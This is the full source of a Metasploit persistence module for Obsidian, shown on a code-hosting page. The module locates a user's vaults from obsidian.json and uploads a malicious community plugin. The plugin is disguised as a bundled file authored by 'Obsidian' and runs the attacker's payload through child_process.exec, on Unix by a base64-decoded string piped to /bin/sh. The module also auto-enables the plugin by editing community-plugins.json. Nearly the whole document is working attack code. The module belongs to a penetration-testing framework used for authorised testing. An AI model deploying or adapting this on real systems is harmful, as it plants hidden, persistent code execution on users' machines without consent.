Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/persistence/obsidian_plugin.rb
23592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix # whoami
11
include Msf::Auxiliary::Report
12
include Msf::Exploit::Local::Persistence
13
include Msf::Exploit::Deprecated
14
moved_from 'exploits/multi/local/obsidian_plugin_persistence'
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Obsidian Plugin Persistence',
21
'Description' => %q{
22
This module searches for Obsidian vaults for a user, and uploads a malicious
23
community plugin to the vault. The vaults must be opened with community
24
plugins enabled (NOT restricted mode), but the plugin will be enabled
25
automatically.
26
27
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'h00die', # Module
32
'Thomas Byrne' # Research, PoC
33
],
34
'DisclosureDate' => '2022-09-16',
35
'SessionTypes' => [ 'shell', 'meterpreter' ],
36
'Privileged' => false,
37
'References' => [
38
[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],
39
[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],
40
[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],
41
[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],
42
[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]
43
],
44
'Arch' => [ARCH_CMD],
45
'Platform' => %w[osx linux windows],
46
'DefaultOptions' => {
47
'PrependMigrate' => true
48
},
49
'Payload' => {
50
'BadChars' => '"'
51
},
52
'Targets' => [
53
['Auto', {} ],
54
['Linux', { 'Platform' => 'unix' } ],
55
['OSX', { 'Platform' => 'osx' } ],
56
['Windows', { 'Platform' => 'windows' } ],
57
],
58
'Notes' => {
59
'Reliability' => [ REPEATABLE_SESSION ],
60
'Stability' => [ CRASH_SAFE ],
61
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
62
},
63
'DefaultTarget' => 0
64
)
65
)
66
67
register_options([
68
OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
69
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
70
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
71
])
72
deregister_options('WritableDir')
73
end
74
75
def plugin_name
76
return datastore['NAME'] unless datastore['NAME'].blank?
77
78
rand_text_alphanumeric(4..10)
79
end
80
81
def find_vaults
82
vaults_found = []
83
user = target_user
84
vprint_status("Target User: #{user}")
85
case session.platform
86
when 'windows', 'win'
87
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
88
when 'osx'
89
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
90
when 'linux'
91
config_files = [
92
"/home/#{user}/.config/obsidian/obsidian.json",
93
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
94
] # snap package
95
end
96
97
config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?
98
99
config_files.each do |config_file|
100
next unless file?(config_file)
101
102
vprint_status("Found user obsidian file: #{config_file}")
103
config_contents = read_file(config_file)
104
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?
105
106
begin
107
vaults = JSON.parse(config_contents)
108
rescue JSON::ParserError
109
vprint_error("Failed to parse JSON from #{config_file}")
110
next
111
end
112
113
vaults_found = vaults['vaults']
114
if vaults_found.nil?
115
vprint_error("No vaults found in #{config_file}")
116
next
117
end
118
119
vaults['vaults'].each do |k, v|
120
if v['open']
121
print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
122
else
123
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
124
end
125
end
126
end
127
128
vaults_found
129
end
130
131
def manifest_js(plugin_name)
132
JSON.pretty_generate({
133
'id' => plugin_name.gsub(' ', '_'),
134
'name' => plugin_name,
135
'version' => '1.0.0',
136
'minAppVersion' => '0.15.0',
137
'description' => '',
138
'author' => 'Obsidian',
139
'authorUrl' => 'https://obsidian.md',
140
'isDesktopOnly' => false
141
})
142
end
143
144
def main_js(_plugin_name)
145
if ['windows', 'win'].include? session.platform
146
payload_stub = payload.encoded.to_s
147
else
148
payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
149
end
150
%%
151
/*
152
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
153
if you want to view the source, please visit the github repository of this plugin
154
*/
155
156
var __defProp = Object.defineProperty;
157
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
158
var __getOwnPropNames = Object.getOwnPropertyNames;
159
var __hasOwnProp = Object.prototype.hasOwnProperty;
160
var __export = (target, all) => {
161
for (var name in all)
162
__defProp(target, name, { get: all[name], enumerable: true });
163
};
164
var __copyProps = (to, from, except, desc) => {
165
if (from && typeof from === "object" || typeof from === "function") {
166
for (let key of __getOwnPropNames(from))
167
if (!__hasOwnProp.call(to, key) && key !== except)
168
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
169
}
170
return to;
171
};
172
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
173
174
// main.ts
175
var main_exports = {};
176
__export(main_exports, {
177
default: () => ExamplePlugin
178
});
179
module.exports = __toCommonJS(main_exports);
180
var import_obsidian = require("obsidian");
181
var ExamplePlugin = class extends import_obsidian.Plugin {
182
async onload() {
183
var command = "#{payload_stub}";
184
const { exec } = require("child_process");
185
exec(command, (error, stdout, stderr) => {
186
if (error) {
187
console.log(`error: ${error.message}`);
188
return;
189
}
190
if (stderr) {
191
console.log(`stderr: ${stderr}`);
192
return;
193
}
194
console.log(`stdout: ${stdout}`);
195
});
196
}
197
async onunload() {
198
}
199
};
200
%
201
end
202
203
def target_user
204
return datastore['USER'] unless datastore['USER'].blank?
205
206
return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform
207
208
whoami
209
end
210
211
def check
212
return CheckCode::Appears('Vaults found') unless find_vaults.empty?
213
214
CheckCode::Safe('No vaults found')
215
end
216
217
def install_persistence
218
plugin = plugin_name
219
print_status("Using plugin name: #{plugin}")
220
vaults = find_vaults
221
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
222
vaults.each_value do |vault|
223
print_status("Uploading plugin to vault #{vault['path']}")
224
# avoid mkdir function because that registers it for delete, and we don't want that for
225
# persistent modules
226
if ['windows', 'win'].include? session.platform
227
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
228
else
229
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
230
end
231
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
232
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
233
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n"
234
235
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
236
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))
237
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n"
238
# read in the enabled community plugins, and add ours to the enabled list
239
if file?("#{vault['path']}/.obsidian/community-plugins.json")
240
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
241
begin
242
plugins = JSON.parse(plugins)
243
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
244
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
245
print_good("Config file saved in: #{path}")
246
@clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n"
247
rescue JSON::ParserError
248
plugins = []
249
end
250
251
plugins << plugin unless plugins.include?(plugin)
252
else
253
plugins = [plugin]
254
end
255
vprint_status("adding #{plugin} to the enabled community plugins list")
256
write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))
257
print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')
258
end
259
end
260
end
261
262